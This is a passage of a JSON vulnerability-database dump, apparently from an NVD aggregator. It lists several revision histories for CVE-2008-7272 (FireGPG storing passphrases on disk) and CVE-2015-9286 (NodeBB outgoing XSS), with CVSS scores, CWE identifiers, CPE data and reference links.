and the user's passphrase to disk which may result in the compromise of secure communication or a users\u2019s private key.", "edition": 4, "enchantments": {"dependencies": {"modified": "2020-09-21T13:59:22", "references": [], "rev": 2}, "score": {"modified": "2020-09-21T13:59:22", "rev": 2, "value": 2.4, "vector": "NONE"}}, "hash": "f6701a04d3477e440e72324b648d7646a2f9466e07e83e341707bb314aec84a0", "hashmap": [{"hash": "54b0c94164bf625d039c58f14cd4c116", "key": "references"}, {"hash": "92c16862fafe4d9eb26185434339836e", "key": "cwe"}, {"hash": "5db042f8057f3f288fe9cd4213121eb2", "key": "title"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "767e67f900c3effb5b550959d21fb12e", "key": "cvelist"}, {"hash": "3c75b36a7f1966a251dbe6148b866f97", "key": "modified"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpeConfiguration"}, {"hash": "9bc143c7676b7e5a3fd9537d7507310b", "key": "cvss2"}, {"hash": "a89198c45ce87f7ec9735a085150b708", "key": "cvss"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "1162e82aa1c980ee7ebee4af4c99369c", "key": "published"}, {"hash": "cd391b15e7a01ae2bbfcca256d89bfb8", "key": "cvss3"}, {"hash": "95669953499c0eb40b242611dfbe75d4", "key": "description"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "9258b012e591cc93a7c6b0cd1b5c6b05", "key": "href"}, {"hash": "a0acab3127efc281e78e28b6a414532c", "key": "affectedSoftware"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-7272", "id": "CVE-2008-7272", "lastseen": "2020-09-21T13:59:22", "modified": "2020-02-10T21:16:00", "objectVersion": "1.3", "published": "2019-11-08T00:15:00", "references": ["https://security-tracker.debian.org/tracker/CVE-2008-7272", "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=514386", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:20757?utm_source=securityvulns&utm_medium=redirect"], "reporter": "cve@mitre.org", "title": "CVE-2008-7272", "type": "cve", "viewCount": 10}, "differentElements": ["cpeConfiguration"], "edition": 4, "lastseen": "2020-09-21T13:59:22"}, {"bulletin": {"affectedSoftware": [{"name": "getfiregpg firegpg", "operator": "eq", "version": "-"}], "bulletinFamily": "NVD", "cpe": ["cpe:/a:getfiregpg:firegpg:-"], "cpe23": [], "cvelist": ["CVE-2008-7272"], "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5.0, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {}, "cwe": ["CWE-312"], "description": "FireGPG before 0.6 handle user\u2019s passphrase and decrypted cleartext insecurely by writing pre-encrypted cleartext and the user's passphrase to disk which may result in the compromise of secure communication or a users\u2019s private key.", "edition": 3, "enchantments": {"dependencies": {"modified": "2020-02-11T14:25:16", "references": [], "rev": 2}, "score": {"modified": "2020-02-11T14:25:16", "rev": 2, "value": 2.4, "vector": "NONE"}}, "hash": "a5439a88032d0d96d6b3b175c5bb2652a08a5ac9dd8565abd675e989e312c52e", "hashmap": [{"hash": "54b0c94164bf625d039c58f14cd4c116", "key": "references"}, {"hash": "92c16862fafe4d9eb26185434339836e", "key": "cwe"}, {"hash": "5db042f8057f3f288fe9cd4213121eb2", "key": "title"}, {"hash": "767e67f900c3effb5b550959d21fb12e", "key": "cvelist"}, {"hash": "3c75b36a7f1966a251dbe6148b866f97", "key": "modified"}, {"hash": "9bc143c7676b7e5a3fd9537d7507310b", "key": "cvss2"}, {"hash": "a89198c45ce87f7ec9735a085150b708", "key": "cvss"}, {"hash": "c78a0c9b48c95bd2d49fb402de9ce674", "key": "cpe"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss3"}, {"hash": "1162e82aa1c980ee7ebee4af4c99369c", "key": "published"}, {"hash": "d2db9f7acf8121ca4d72b70e2934db08", "key": "affectedSoftware"}, {"hash": "95669953499c0eb40b242611dfbe75d4", "key": "description"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "9258b012e591cc93a7c6b0cd1b5c6b05", "key": "href"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-7272", "id": "CVE-2008-7272", "lastseen": "2020-02-11T14:25:16", "modified": "2020-02-10T21:16:00", "objectVersion": "1.3", "published": "2019-11-08T00:15:00", "references": ["https://security-tracker.debian.org/tracker/CVE-2008-7272", "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=514386", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:20757?utm_source=securityvulns&utm_medium=redirect"], "reporter": "cve@mitre.org", "title": "CVE-2008-7272", "type": "cve", "viewCount": 10}, "differentElements": ["cvss3", "cpe", "affectedSoftware"], "edition": 3, "lastseen": "2020-02-11T14:25:16"}, {"bulletin": {"affectedSoftware": [{"name": "getfiregpg firegpg", "operator": "eq", "version": "-"}], "bulletinFamily": "NVD", "cpe": ["cpe:/a:getfiregpg:firegpg:-"], "cpe23": [], "cvelist": ["CVE-2008-7272"], "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5.0, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {}, "cwe": ["CWE-312"], "description": "FireGPG before 0.6 handle user?s passphrase and decrypted cleartext insecurely by writing pre-encrypted cleartext and the user's passphrase to disk which may result in the compromise of secure communication or a users?s private key.", "edition": 2, "enchantments": {"dependencies": {"modified": "2019-11-15T19:55:37", "references": []}, "score": {"modified": "2019-11-15T19:55:37", "value": 2.4, "vector": "NONE"}}, "hash": "05a389bab8cb239109f07a53e4f0a9c76cc24d31548b23dfad15c1385b48f5a5", "hashmap": [{"hash": "54b0c94164bf625d039c58f14cd4c116", "key": "references"}, {"hash": "92c16862fafe4d9eb26185434339836e", "key": "cwe"}, {"hash": "5db042f8057f3f288fe9cd4213121eb2", "key": "title"}, {"hash": "b0552313c96be75e9ec1c10adb56b096", "key": "modified"}, {"hash": "767e67f900c3effb5b550959d21fb12e", "key": "cvelist"}, {"hash": "9bc143c7676b7e5a3fd9537d7507310b", "key": "cvss2"}, {"hash": "240c2c1dd6f5cc5cbeb07774547c6c2b", "key": "description"}, {"hash": "a89198c45ce87f7ec9735a085150b708", "key": "cvss"}, {"hash": "c78a0c9b48c95bd2d49fb402de9ce674", "key": "cpe"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss3"}, {"hash": "1162e82aa1c980ee7ebee4af4c99369c", "key": "published"}, {"hash": "d2db9f7acf8121ca4d72b70e2934db08", "key": "affectedSoftware"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "9258b012e591cc93a7c6b0cd1b5c6b05", "key": "href"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-7272", "id": "CVE-2008-7272", "lastseen": "2019-11-15T19:55:37", "modified": "2019-11-14T14:28:00", "objectVersion": "1.3", "published": "2019-11-08T00:15:00", "references": ["https://security-tracker.debian.org/tracker/CVE-2008-7272", "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=514386", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:20757?utm_source=securityvulns&utm_medium=redirect"], "reporter": "cve@mitre.org", "title": "CVE-2008-7272", "type": "cve", "viewCount": 2}, "differentElements": ["description", "modified"], "edition": 2, "lastseen": "2019-11-15T19:55:37"}, {"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "getfiregpg:firegpg", "name": "getfiregpg firegpg", "operator": "lt", "version": "0.6"}], "bulletinFamily": "NVD", "cpe": [], "cpe23": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:a:getfiregpg:firegpg:0.6:*:*:*:*:firefox:*:*", "versionEndExcluding": "0.6", "vulnerable": true}], "operator": "OR"}]}, "cvelist": ["CVE-2008-7272"], "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5.0, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, "cwe": ["CWE-312"], "description": "FireGPG before 0.6 handle user\u2019s passphrase and decrypted cleartext insecurely by writing pre-encrypted cleartext and the user's passphrase to disk which may result in the compromise of secure communication or a users\u2019s private key.", "edition": 8, "enchantments": {"dependencies": {"modified": "2021-02-02T05:35:21", "references": [], "rev": 2}, "score": {"modified": "2021-02-02T05:35:21", "rev": 2, "value": 2.4, "vector": "NONE"}}, "extraReferences": [{"name": "https://security-tracker.debian.org/tracker/CVE-2008-7272", "refsource": "MISC", "tags": ["Third Party Advisory"], "url": "https://security-tracker.debian.org/tracker/CVE-2008-7272"}, {"name": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:20757?utm_source=securityvulns&utm_medium=redirect", "refsource": "MISC", "tags": ["Third Party Advisory"], "url": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:20757?utm_source=securityvulns&utm_medium=redirect"}, {"name": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=514386", "refsource": "MISC", "tags": ["Third Party Advisory", "Issue Tracking"], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=514386"}], "hash": "feff88852d5f44ef4f736cb629de97022a0e3f23b99e0deec3d9ee5daaa7d8df", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "immutableFields"}, {"hash": "54b0c94164bf625d039c58f14cd4c116", "key": "references"}, {"hash": "4847e3110691b6a6a4c7664c0f127f70", "key": "extraReferences"}, {"hash": "92c16862fafe4d9eb26185434339836e", "key": "cwe"}, {"hash": "5db042f8057f3f288fe9cd4213121eb2", "key": "title"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "767e67f900c3effb5b550959d21fb12e", "key": "cvelist"}, {"hash": "3c75b36a7f1966a251dbe6148b866f97", "key": "modified"}, {"hash": "9bc143c7676b7e5a3fd9537d7507310b", "key": "cvss2"}, {"hash": "675695b80d1f3d2196a77047e1ceba64", "key": "cpeConfiguration"}, {"hash": "a89198c45ce87f7ec9735a085150b708", "key": "cvss"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "1162e82aa1c980ee7ebee4af4c99369c", "key": "published"}, {"hash": "cd391b15e7a01ae2bbfcca256d89bfb8", "key": "cvss3"}, {"hash": "95669953499c0eb40b242611dfbe75d4", "key": "description"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "9258b012e591cc93a7c6b0cd1b5c6b05", "key": "href"}, {"hash": "a0acab3127efc281e78e28b6a414532c", "key": "affectedSoftware"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-7272", "id": "CVE-2008-7272", "immutableFields": [], "lastseen": "2021-02-02T05:35:21", "modified": "2020-02-10T21:16:00", "objectVersion": "1.5", "published": "2019-11-08T00:15:00", "references": ["https://security-tracker.debian.org/tracker/CVE-2008-7272", "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=514386", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:20757?utm_source=securityvulns&utm_medium=redirect"], "reporter": "cve@mitre.org", "title": "CVE-2008-7272", "type": "cve", "viewCount": 19}, "different_elements": ["cpeConfiguration"], "edition": 8, "lastseen": "2021-02-02T05:35:21"}, {"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "getfiregpg:firegpg", "name": "getfiregpg firegpg", "operator": "lt", "version": "*"}], "bulletinFamily": "NVD", "cpe": [], "cpe23": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:a:getfiregpg:firegpg:0.6:*:*:*:*:firefox:*:*", "versionEndExcluding": "0.6", "vulnerable": true}], "operator": "OR"}]}, "cvelist": ["CVE-2008-7272"], "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5.0, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, "cwe": ["CWE-312"], "description": "FireGPG before 0.6 handle user\u2019s passphrase and decrypted cleartext insecurely by writing pre-encrypted cleartext and the user's passphrase to disk which may result in the compromise of secure communication or a users\u2019s private key.", "edition": 6, "enchantments": {"dependencies": {"modified": "2020-11-29T22:56:16", "references": [], "rev": 2}, "score": {"modified": "2020-11-29T22:56:16", "rev": 2, "value": 2.4, "vector": "NONE"}}, "hash": "20ae55db346f6babbeac989b07a5b26e855e45e42cfda6773d64bbcb84e4ef79", "hashmap": [{"hash": "d647e62c83e294ffd6f56a7c761beece", "key": "affectedSoftware"}, {"hash": "54b0c94164bf625d039c58f14cd4c116", "key": "references"}, {"hash": "92c16862fafe4d9eb26185434339836e", "key": "cwe"}, {"hash": "5db042f8057f3f288fe9cd4213121eb2", "key": "title"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "767e67f900c3effb5b550959d21fb12e", "key": "cvelist"}, {"hash": "3c75b36a7f1966a251dbe6148b866f97", "key": "modified"}, {"hash": "9bc143c7676b7e5a3fd9537d7507310b", "key": "cvss2"}, {"hash": "675695b80d1f3d2196a77047e1ceba64", "key": "cpeConfiguration"}, {"hash": "a89198c45ce87f7ec9735a085150b708", "key": "cvss"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "1162e82aa1c980ee7ebee4af4c99369c", "key": "published"}, {"hash": "cd391b15e7a01ae2bbfcca256d89bfb8", "key": "cvss3"}, {"hash": "95669953499c0eb40b242611dfbe75d4", "key": "description"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "9258b012e591cc93a7c6b0cd1b5c6b05", "key": "href"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-7272", "id": "CVE-2008-7272", "lastseen": "2020-11-29T22:56:16", "modified": "2020-02-10T21:16:00", "objectVersion": "1.3", "published": "2019-11-08T00:15:00", "references": ["https://security-tracker.debian.org/tracker/CVE-2008-7272", "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=514386", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:20757?utm_source=securityvulns&utm_medium=redirect"], "reporter": "cve@mitre.org", "title": "CVE-2008-7272", "type": "cve", "viewCount": 15}, "differentElements": ["affectedSoftware"], "edition": 6, "lastseen": "2020-11-29T22:56:16"}], "edition": 9, "hashmap": [{"key": "affectedConfiguration", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "affectedSoftware", "hash": "a0acab3127efc281e78e28b6a414532c"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cpe23", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cpeConfiguration", "hash": "77e03828e2d6f83f8fa932acfe8daff3"}, {"key": "cvelist", "hash": "767e67f900c3effb5b550959d21fb12e"}, {"key": "cvss", "hash": "a89198c45ce87f7ec9735a085150b708"}, {"key": "cvss2", "hash": "9bc143c7676b7e5a3fd9537d7507310b"}, {"key": "cvss3", "hash": "cd391b15e7a01ae2bbfcca256d89bfb8"}, {"key": "cwe", "hash": "92c16862fafe4d9eb26185434339836e"}, {"key": "description", "hash": "95669953499c0eb40b242611dfbe75d4"}, {"key": "extraReferences", "hash": "4847e3110691b6a6a4c7664c0f127f70"}, {"key": "href", "hash": "9258b012e591cc93a7c6b0cd1b5c6b05"}, {"key": "immutableFields", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "modified", "hash": "3c75b36a7f1966a251dbe6148b866f97"}, {"key": "published", "hash": "1162e82aa1c980ee7ebee4af4c99369c"}, {"key": "references", "hash": "54b0c94164bf625d039c58f14cd4c116"}, {"key": "reporter", "hash": "444c2b4dda4a55437faa8bef1a141e84"}, {"key": "title", "hash": "5db042f8057f3f288fe9cd4213121eb2"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "f34f5d089606f7d870ccc28642bf61f774619d905673726848fc15f3a6590575", "viewCount": 25, "enchantments": {"dependencies": {"references": [], "modified": "2021-04-21T20:41:43", "rev": 2}, "score": {"value": 2.4, "vector": "NONE", "modified": "2021-04-21T20:41:43", "rev": 2}}, "objectVersion": "1.5", "cpe": [], "affectedSoftware": [{"cpeName": "getfiregpg:firegpg", "name": "getfiregpg firegpg", "operator": "lt", "version": "0.6"}], "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5.0, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, "cpe23": [], "cwe": ["CWE-312"], "scheme": null, "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"children": [], "cpe_match": [{"cpe23Uri": "cpe:2.3:a:getfiregpg:firegpg:0.6:*:*:*:*:firefox:*:*", "cpe_name": [], "versionEndExcluding": "0.6", "vulnerable": true}], "operator": "OR"}]}, "extraReferences": [{"name": "https://security-tracker.debian.org/tracker/CVE-2008-7272", "refsource": "MISC", "tags": ["Third Party Advisory"], "url": "https://security-tracker.debian.org/tracker/CVE-2008-7272"}, {"name": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:20757?utm_source=securityvulns&utm_medium=redirect", "refsource": "MISC", "tags": ["Third Party Advisory"], "url": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:20757?utm_source=securityvulns&utm_medium=redirect"}, {"name": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=514386", "refsource": "MISC", "tags": ["Third Party Advisory", "Issue Tracking"], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=514386"}], "immutableFields": []}, {"id": "CVE-2015-9286", "bulletinFamily": "NVD", "title": "CVE-2015-9286", "description": "Controllers.outgoing in controllers/index.js in NodeBB before 0.7.3 has outgoing XSS.", "published": "2019-04-30T14:29:00", "modified": "2019-05-01T14:22:00", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-9286", "reporter": "cve@mitre.org", "references": ["https://github.com/NodeBB/NodeBB/pull/3371", "https://github.com/NodeBB/NodeBB/compare/56b79a9...4de7529", "https://www.vulnerability-lab.com/get_content.php?id=1608", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32625"], "cvelist": ["CVE-2015-9286"], "type": "cve", "lastseen": "2021-04-22T23:51:50", "history": [{"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "nodebb:nodebb", "name": "nodebb", "operator": "lt", "version": "0.7.3"}], "bulletinFamily": "NVD", "cpe": [], "cpe23": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:a:nodebb:nodebb:0.7.3:*:*:*:*:*:*:*", "versionEndExcluding": "0.7.3", "vulnerable": true}], "operator": "OR"}]}, "cvelist": ["CVE-2015-9286"], "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": true}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, "cwe": ["CWE-79"], "description": "Controllers.outgoing in controllers/index.js in NodeBB before 0.7.3 has outgoing XSS.", "edition": 6, "enchantments": {"dependencies": {"modified": "2021-02-02T06:21:32", "references": [{"idList": ["SECURITYVULNS:DOC:32625"], "type": "securityvulns"}, {"idList": ["GHSA-72FV-QGJ6-2W2P"], "type": "github"}], "rev": 2}, "score": {"modified": "2021-02-02T06:21:32", "rev": 2, "value": 1.4, "vector": "NONE"}}, "extraReferences": [{"name": "https://github.com/NodeBB/NodeBB/pull/3371", "refsource": "MISC", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/NodeBB/NodeBB/pull/3371"}, {"name": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32625", "refsource": "MISC", "tags": ["Third Party Advisory", "Exploit"], "url": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32625"}, {"name": "https://github.com/NodeBB/NodeBB/compare/56b79a9...4de7529", "refsource": "MISC", "tags": ["Third Party Advisory", "Release Notes"], "url": "https://github.com/NodeBB/NodeBB/compare/56b79a9...4de7529"}, {"name": "https://www.vulnerability-lab.com/get_content.php?id=1608", "refsource": "MISC", "tags": ["Third Party Advisory", "Exploit"], "url": "https://www.vulnerability-lab.com/get_content.php?id=1608"}], "hash": "e0413d958386f6534538918bca2249dcc4f383174e07b3bfd828fd87bab2fae7", "hashmap": [{"hash": "cabb6b89504f33d4cae5fb66665d6372", "key": "affectedSoftware"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "immutableFields"}, {"hash": "f9048d548aea2a33f8c8fe44e8c9817c", "key": "cvss3"}, {"hash": "4d53af7f522025f16113d72d1dd86a79", "key": "published"}, {"hash": "0ac6deaa5a07331e3db4762cb458fde6", "key": "href"}, {"hash": "db8254901fea804d4d910fc508c1be32", "key": "extraReferences"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "7bcda725e0fe4634bd741d18870efc86", "key": "description"}, {"hash": "4419eb17de947d4d6b67ac07ed8d9064", "key": "cvss2"}, {"hash": "8e5a048329755897094215f117301c63", "key": "modified"}, {"hash": "f964d0f7ddcfa3fb2eb8853d2a1e7295", "key": "cvelist"}, {"hash": "dac3bc07a427ceea0c7680630fcafbdf", "key": "references"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "34e69e045b64924bccf865d56b6918a2", "key": "cwe"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "6e87bbaab34c901324df8e163b451120", "key": "title"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "f74a1c24e49a5ecb0eefb5e51d4caa14", "key": "cvss"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe"}, {"hash": "587727297bf29a06aaafbf1f31d41b9a", "key": "cpeConfiguration"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-9286", "id": "CVE-2015-9286", "immutableFields": [], "lastseen": "2021-02-02T06:21:32", "modified": "2019-05-01T14:22:00", "objectVersion": "1.5", "published": "2019-04-30T14:29:00", "references": ["https://github.com/NodeBB/NodeBB/pull/3371", "https://github.com/NodeBB/NodeBB/compare/56b79a9...4de7529", "https://www.vulnerability-lab.com/get_content.php?id=1608", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32625"], "reporter": "cve@mitre.org", "title": "CVE-2015-9286", "type": "cve", "viewCount": 10}, "different_elements": ["cpeConfiguration"], "edition": 6, "lastseen": "2021-02-02T06:21:32"}, {"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "nodebb:nodebb", "name": "nodebb", "operator": "lt", "version": "0.7.3"}], "bulletinFamily": "NVD", "cpe": [], "cpe23": [], "cpeConfiguration": {}, "cvelist": ["CVE-2015-9286"], "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": true}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", 